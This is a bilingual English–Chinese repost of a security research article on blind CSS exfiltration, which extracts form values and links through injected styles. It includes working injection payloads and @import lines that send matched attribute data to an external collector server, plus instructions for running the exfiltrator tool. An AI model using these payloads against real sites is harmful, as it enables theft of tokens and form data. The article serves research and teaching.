Blind CSS Exfiltration: exfiltrate unknown web pages

Blind CSS Exfiltration: exfiltrate unknown web pages

This is a gif of the exfiltration process (We’ve increased the speed so you’re not waiting around for 1 minute). Read on to discover how this works…
这是外泄过程的 gif(我们提高了速度,因此您不必等待 1 分钟)。请继续阅读,了解其工作原理……

Blind CSS Exfiltration: exfiltrate unknown web pages

Why would we want to do blind CSS exfiltration?
我们为什么要进行盲目的 CSS 泄露?

Imagine you’ve got a blind HTML injection vulnerability but you can’t get XSS because of the site’s CSP or perhaps the site has a server-side or DOM-based filter such as DOMPurify. JavaScript is off the table but they allow styles because they’re just styles right? What possible damage can you do with just CSS?
想象一下,你有一个盲目的 HTML 注入漏洞,但由于站点的 CSP,或者站点可能有一个服务器端或基于 DOM 的过滤器,例如 DOMPurify,你无法获得 XSS。JavaScript 不在桌面上,但它们允许样式,因为它们只是样式,对吧?仅使用 CSS 可以造成什么可能的损害?

In this post we’ll recap known techniques to extract data with attribute selectors and then show you a novel technique with the brand new :has selector. To achieve extraction of the majority of form elements and anchor tags with just CSS!
在这篇文章中,我们将回顾使用属性选择器提取数据的已知技术,然后向您展示一种使用全新 :has 选择器的新技术。仅使用CSS即可实现大多数表单元素和锚标记的提取!

The first step is to confirm you can inject styles into your parameter. You can do this using Burp Collaborator by injecting an @import rule with a Collaborator payload:
第一步是确认可以将样式注入到参数中。您可以使用 Burp Collaborator 执行此操作,方法是将 @import 规则注入 Collaborator 有效负载:

"><style>@import'//YOUR-PAYLOAD.oastify.com'</style>

Once you’ve confirmed you have an interaction from the Collaborator using Out-of-band Application Security Testing (OAST). You know you can inject styles and JavaScript doesn’t work but you have no idea what you are injecting into and have no idea what the structure of the page looks like. What you have is blind CSS injection! Let’s learn how to exploit this vulnerability class.
确认使用带外应用程序安全测试 (OAST) 与协作者进行交互后。你知道你可以注入样式,而 JavaScript 不起作用,但你不知道你要注入什么,也不知道页面的结构是什么样子的。你所拥有的是盲目的CSS注入!让我们学习如何利用此漏洞类。

Triggering requests using CSS variables
使用 CSS 变量触发请求

In order to obtain data from the page you have to trigger a request to an external server and this is where CSS variables come in. You can use CSS variables as an on/off switch that triggers a conditional request using background images. As long as your variable is defined with a url() and a fallback that is a valid CSS property value (i.e. “none” for a background image) then you can use this variable to trigger a request by setting the variable:
为了从页面获取数据,您必须触发对外部服务器的请求,这就是 CSS 变量的用武之地。您可以将 CSS 变量用作使用背景图像触发条件请求的开/关开关。只要你的变量是用 url() 和回退来定义的,回退是一个有效的 CSS 属性值(即背景图像的“none”),那么你就可以通过设置变量来使用此变量来触发请求:

<input value=1337>
<style>
input[value="1337"] {
--value: url(/collectData?value=1337);
}
input {
background:var(--value,none);
}
</style>

The preceding example sets a CSS variable called “–value”, this variable is set to a background image when the value of the input equals “1337”. The fallback is used to set the background to “none” if the variable is not defined. Note, the fallback is optional but for the purposes of blind CSS exfiltration it’s actually very important.
前面的示例设置了一个名为“–value”的 CSS 变量,当输入的值等于“1337”时,该变量设置为背景图像。如果未定义变量,则回退用于将背景设置为“无”。请注意,回退是可选的,但出于盲目 CSS 外泄的目的,它实际上非常重要。

How to extract data using CSS
如何使用CSS提取数据

Extracting data with attribute selectors
使用属性选择器提取数据

Attribute selectors are an extremely powerful way to extract data. You can use them to check if attributes begin, end or even contain certain characters. This is the core of how CSS exfiltration works. Let’s say for instance that you want to check if an input begins with the character “a”:
属性选择器是一种非常强大的数据提取方式。您可以使用它们来检查属性是否开始、结束甚至包含某些字符。这是 CSS 外泄工作原理的核心。例如,假设您要检查输入是否以字符“a”开头:


<style>
input[value^="a"] {
color:red;
}
</style>
<input value=abc>
<input value=def>

In the preceding example, there are two inputs with different values, the first begins with “a” and therefore the attribute selector will match the first input and turn the colour of the text red. If we wanted to match the second input we could also use the starts with “^=” selector or we could use the ends with “$=” selector:
在前面的示例中,有两个具有不同值的输入,第一个输入以“a”开头,因此属性选择器将匹配第一个输入并将文本的颜色变为红色。如果我们想匹配第二个输入,我们也可以使用带有“^=”选择器的开头,或者我们可以使用带有“$=”选择器的结尾:

<style>
input[value$="f"] {
color:red;
}
</style>
<input value=abc>
<input value=def>

The preceding example now changes the text red on the second element because the value ends with “f”. Turning the text colour red might prove the selector works but it’s no use for exfiltrating data. We need to combine attribute selectors with background images and CSS variables to send the data to an external server!
前面的示例现在更改了第二个元素上的文本红色,因为该值以“f”结尾。将文本颜色变为红色可能证明选择器有效,但它对泄露数据没有用。我们需要将属性选择器与背景图像和 CSS 变量相结合,以将数据发送到外部服务器!

<style>
input[value^="a"] {
--starts-with-a:url(/startsWithA);
}
input{
background: var(--starts-with-a,none);
}
</style>
<input value=abc>
<input value=def>

In the previous example, I define a variable called “–starts-with-a” and I assign this variable to the background image of the input and you’ll notice if you observe the web page with devtools in the network tab you’ll see a request is made for “/startsWithA”. Notice I use a fallback of “none” this will be important later but all that does is: if the variable isn’t defined then fallback to the none property value.
在前面的示例中,我定义了一个名为“–starts-with-a”的变量,并将此变量分配给输入的背景图像,您会注意到,如果您在网络选项卡中观察带有 devtools 的网页,您会看到对“/startsWithA”发出了请求。请注意,我使用“none”的回退,这在以后会很重要,但所做的只是:如果未定义变量,则回退到 none 属性值。

Abusing the has selector to exfiltrate data on child nodes
滥用 has 选择器泄露子节点上的数据

Great so we’ve recapped a well known technique and you should now be up to speed on what comes next.
太好了,我们已经重新总结了一种众所周知的技术,您现在应该可以快速了解接下来会发生什么。

Attribute selector and :has
属性选择器和 :has

You can combine attribute selectors with the :has selector. This enables you to make a background request even if the element in question doesn’t allow it such as a hidden input. You might have seen some CSS exfiltrators use other CSS selectors such as + in order for a background request to be made:
您可以将属性选择器与 :has 选择器结合使用。这使您能够发出后台请求,即使相关元素不允许它,例如隐藏输入。您可能已经看到一些 CSS 泄露者使用其他 CSS 选择器(例如 +)来发出后台请求:

<input type=hidden value=1337><div></div>
<style>
input[value="1337"] + div {
background:url(/collectData?value=1337);
}
</style>

In the preceding example the plus (next-sibling combinator) is used to set the background on the div element if the attribute on the input value is matched. The advantage of the :has selector is that removes the need for this and, in addition, because you don’t need to know what element appears next, you can more easily exfiltrate unknown page structures:
在前面的示例中,如果输入值的属性匹配,则使用 plus(下一个同级组合器)设置 div 元素的背景。:has 选择器的优点是可以消除对这个选项的需要,此外,由于您不需要知道接下来出现的元素,因此您可以更轻松地泄露未知的页面结构:

<div><input type=hidden value=1337></div>
<style>
div:has(input[value="1337"]) {
background:url(/collectData?value=1337);
}
</style>

What is the :has selector?
什么是:has选择器?

The :has selector is a super powerful feature in CSS and when I first learned about it I was confused. So let me describe how I think about it in order for you to understand it. Imagine that :has is a function and that function will return the element to the left if any nodes underneath the element match the selector specified in the function argument. Of course, it isn’t a function but I thought it would be useful to describe how I came to understand it. In CSS this is how you use the :has selector:
:has 选择器是 CSS 中一个超级强大的功能,当我第一次了解它时,我很困惑。因此,让我描述一下我是如何思考的,以便您理解它。想象一下,:has 是一个函数,如果元素下的任何节点与函数参数中指定的选择器匹配,则该函数将返回左侧的元素。当然,它不是一个函数,但我认为描述我是如何理解它的会很有用。在 CSS 中,这是使用 :has 选择器的方式:

<style>
div {
display:none;
}
div:has(p) {
display:block;
}
</style>
<div>
<p>I am visible</p>
</div>
<div>
I am NOT visible
</div>

In the preceding example all divs are hidden with the div selector and then the :has selector is used to reveal specific divs (i.e. if a div has a paragraph element then its display property is changed to block and the div is shown). This means CSS allows you to change the properties of the parent based on the state of the child elements. But why would you need to do this for exfiltration? Glad you asked. I’ll explain it in the next section.
在前面的示例中,所有 div 都使用 div 选择器隐藏,然后使用 :has 选择器来显示特定的 div(即,如果 div 具有段落元素,则其 display 属性更改为 block 并显示 div)。这意味着 CSS 允许您根据子元素的状态更改父元素的属性。但是,为什么需要这样做才能进行外泄呢?很高兴你问。我将在下一节中解释它。

Abusing the HTML selector to make requests regardless of HTML structure
滥用 HTML 选择器发出请求,而不考虑 HTML 结构

I thought about an unknown page structure for a while and I came to the conclusion that you could abuse the HTML tag and set a background on that. The reason you’d want to do that is that no site is going to use a background on the HTML element!
我想了一会儿未知的页面结构,得出的结论是,您可以滥用 HTML 标签并为其设置背景。您想要这样做的原因是没有网站会在 HTML 元素上使用背景!

You see, once you set a property with CSS any further assignments to the property will overwrite it, providing it is more specific or the same as the last, this is the cascade part of CSS. If we chose something like the body element to make our request it could be overwritten by the page styles and we wouldn’t see our exfiltrated data.
你看,一旦你用CSS设置了一个属性,对该属性的任何进一步赋值都会覆盖它,只要它更具体或与上一个相同,这就是CSS的级联部分。如果我们选择像 body 元素这样的东西来发出请求,它可能会被页面样式覆盖,我们将看不到我们泄露的数据。

Combining :has and :not selectors to identify multiple unknown elements
结合 :has 和 :not 选择器来识别多个未知元素

Another problem I had was how do you extract data from elements when you have no idea of their structure? Because if you use ^=”a” it will be overwritten when another input is encountered. For instance, imagine you are cycling through every character and checking the first one that rule is going to match at least once which as I mentioned the cascade would prevent more than one request going through. My first attempt was to use the nth-of-type() selector and it appeared to work perfectly but actually, it required each element of the same type to be next to each other. Damn, that just isn’t going to work, most form elements are going to be wrapped in divs etc. Then after thinking for a while, I came up with a fantastic idea, once a value had been enumerated I could then use the :not() selector to eliminate the element then the exfiltrator would move onto the next element:
我遇到的另一个问题是,当你不知道元素的结构时,你如何从元素中提取数据?因为如果你使用 ^=“a”,当遇到另一个输入时,它将被覆盖。例如,假设您正在循环遍历每个字符,并检查该规则将至少匹配一次的第一个字符,正如我提到的,级联将阻止多个请求通过。我的第一次尝试是使用 nth-of-type() 选择器,它似乎工作得很好,但实际上,它要求相同类型的每个元素彼此相邻。该死的,这是行不通的,大多数表单元素都将被包装在 divs 等中。然后经过一段时间的思考,我想出了一个绝妙的主意,一旦枚举了一个值,我就可以使用 :not() 选择器来消除元素,然后 exfiltrator 将移动到下一个元素:


<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

As the preceding example shows you can use the :not() selector to extract the next attribute value once you’ve already obtained another element of the same type. I really love this hack because it’s so elegant and doesn’t increase the size of the CSS file too much.
如前面的示例所示,一旦您已经获得了另一个相同类型的元素,就可以使用 :not() 选择器来提取下一个属性值。我真的很喜欢这个技巧,因为它非常优雅,并且不会过多地增加CSS文件的大小。

Extracting large amounts of data using @import chaining
使用@import链提取大量数据

We’ve got the basis of my technique now but we need to make lots of requests to extract lots of data. There were two fantastic posts by d0nut and Pepe Vila that showed how you can use @import chaining to obtain large amounts of data very quickly. I used Pepe’s script as the basis of CSS exfiltrator but it soon morphed into exfiltrating unknown structures. He used a counter to determine if the exfiltration was finished, I had to change this to use a timer because I don’t know how many elements I’m actually extracting.
我们现在已经掌握了我的技术基础,但我们需要发出大量请求来提取大量数据。d0nut 和 Pepe Vila 发表了两篇精彩的文章,展示了如何使用@import链来快速获取大量数据。我使用 Pepe 的脚本作为 CSS exfiltrator 的基础,但它很快就演变成 exfilating 未知结构。他使用计数器来确定渗透是否完成,我不得不将其更改为使用计时器,因为我不知道我实际提取了多少元素。

Using imports I could wait for the data to be extracted because as the above posts mention you can block the CSS responses from returning until you’re ready to move onto the next chunk. But the problem remained I had no idea how many elements I had to extract! There could be 1 or 20 and I had no idea how to find out. How could I possibly get around this?
使用导入,我可以等待数据被提取,因为正如上面的帖子所提到的,您可以阻止CSS响应返回,直到您准备好移动到下一个块。但问题仍然存在,我不知道我必须提取多少元素!可能有 1 或 20 个,我不知道如何找出答案。我怎么可能解决这个问题?

Using multiple backgrounds to send unlimited requests
使用多种背景发送无限请求

I didn’t know how many requests I’d need and didn’t know what elements the page had so again I thought about this for a while and concluded that I could use CSS variables to assign multiple background images to the HTML tag background property. Remember the cascade problem? You can’t assign to a property value after it’s already assigned otherwise it would get overwritten. My solution was to initialise a large number of variables based on the configuration of the script and assign these variables to multiple backgrounds of the HTML element and this is why the fallback is important, if I didn’t use a fallback then the background would get an invalid assignment and therefore all the requests would fail – by using a fallback the background would be assigned to none unless a character was found.
我不知道我需要多少个请求,也不知道页面有什么元素,所以我再次思考了一段时间,并得出结论,我可以使用 CSS 变量将多个背景图像分配给 HTML 标签 background 属性。还记得级联问题吗?在已分配属性值后,不能将其赋值,否则该值将被覆盖。我的解决方案是根据脚本的配置初始化大量变量,并将这些变量分配给 HTML 元素的多个背景,这就是为什么回退很重要的原因,如果我不使用回退,那么背景将获得无效的赋值,因此所有请求都会失败 – 通过使用回退,除非找到字符,否则背景将被分配给 None。

Putting it all together
把它们放在一起

By using all the techniques mentioned above I could finally construct a blind CSS exfiltrator! It can extract input’s names and values, textarea name attributes, form actions and even anchor links. Almost every ASCII character is supported! I excluded stuff like NULL and new lines because they aren’t likely to be included in attributes, but if you think they could be you can easily add them by modifying the script.
通过使用上面提到的所有技术,我终于可以构建一个盲目的 CSS exfiltrator!它可以提取输入的名称和值、文本区域名称属性、表单操作甚至锚链接。几乎支持所有 ASCII 字符!我排除了 NULL 和新行之类的东西,因为它们不太可能包含在属性中,但如果您认为它们可能包含,您可以通过修改脚本轻松添加它们。

You can grab the source code of the exfiltrator from Github:
你可以从 Github 获取 exfiltrator 的源代码:

Blind CSS Exfiltrator 盲人 CSS Exfiltrator

Using the exfiltrator 使用渗漏程序

To run your own version of the exfiltrator you need to first grab the source code from above and then run it using node:
要运行您自己的 exfiltrator 版本,您需要首先从上面获取源代码,然后使用 node 运行它:

node css-exfiltrator-server.js

This will start the server. Once the server is started it should be running on localhost:5001 by default. You can change this in the code. To start an exfiltration you simply need to make an @import request to the exfiltrator server:
这将启动服务器。服务器启动后,默认情况下,它应该在 localhost:5001 上运行。您可以在代码中更改此设置。若要启动外泄,只需向外泄程序服务器发出@import请求:

<style>
@import 'http://localhost:5001/start';
</style>

This will then start the exfiltration process. You can use the network tab in dev tools to observe the process. Note you’d probably need to host this on a H2 enabled server. Otherwise you’ll get pre-flight requests because of the different protocols. You can use a ProxyPass rule in Apache to forward to the local address:
然后,这将启动外泄过程。可以使用开发工具中的“网络”选项卡来观察该过程。请注意,您可能需要在启用了 H2 的服务器上托管它。否则,由于协议不同,您将收到飞行前请求。您可以在 Apache 中使用 ProxyPass 规则转发到本地地址:

ProxyPass /blind-css-exfiltration http://localhost:5001

Once you have configured the ProxyPass rule you can then use your H2 server. Don’t forget to change the hostname in the script and of course change your @import rule to use the address of your external server like our demo.
配置 ProxyPass 规则后,即可使用 H2 服务器。不要忘记更改脚本中的主机名,当然也要更改@import规则以使用外部服务器的地址,就像我们的演示一样。

Displaying the results
显示结果

By default, it displays the results in the console on the server as well as showing the results in the browser using pure CSS :). If you don’t want the results displayed in the browser you can set the flag SHOW_RESULTS_IN_BROWSER to false and it will just display the results in the console on the server.
默认情况下,它在服务器上的控制台中显示结果,并使用纯 CSS :)在浏览器中显示结果。如果您不希望结果显示在浏览器中,可以将标志 SHOW_RESULTS_IN_BROWSER 设置为 false,它只会在服务器上的控制台中显示结果。

Demo 演示

You can get a demo of our exfiltrator using PortSwigger labs. Note you can only exfiltrate once per IP. If more than one person tries to exfiltrate with the same IP the previous session will be deleted. Note it’s better to run the Exfiltrator on your own server and our server is unlikely to handle a lot of users. Enjoy!
您可以使用 PortSwigger 实验室获得我们的 exfiltrator 演示。请注意,每个 IP 只能泄露一次。如果有多个人试图使用同一个 IP 进行外泄,则之前的会话将被删除。请注意,最好在您自己的服务器上运行 Exfiltrator,我们的服务器不太可能处理大量用户。享受!


<style>
@import 'https://portswigger-labs.net/blind-css-exfiltration/start';
</style>

 

原文始发于@garethheyes:Blind CSS Exfiltration: exfiltrate unknown web pages

版权声明:admin 发表于 2023年12月6日 下午5:41。
转载请注明:Blind CSS Exfiltration: exfiltrate unknown web pages | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...